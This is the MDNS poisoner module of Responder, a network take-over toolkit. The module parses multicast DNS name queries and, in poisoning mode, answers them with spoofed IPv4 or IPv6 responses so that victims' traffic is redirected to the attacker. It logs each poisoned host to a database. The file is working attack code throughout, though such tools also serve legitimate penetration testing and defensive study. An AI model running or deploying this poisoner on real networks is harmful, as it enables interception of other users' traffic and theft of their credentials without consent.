Responder/poisoners/MDNS.py
2024-05-14 11:02:35 -03:00

110 lines
3.9 KiB
Python
Executable file

#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import sys
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans, MDNS6_Ans
from utils import *
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_MDNS_Name(data):
try:
if (sys.version_info > (3, 0)):
data = data[12:]
NameLen = data[0]
Name = data[1:1+NameLen]
NameLen_ = data[1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1").replace("\x05","")
else:
data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_.replace("\x05","")
except IndexError:
return None
def Poisoned_MDNS_Name(data):
data = NetworkRecvBufferPython2or3(data[12:])
return data[:len(data)-5]
class MDNS(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS6',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
except:
raise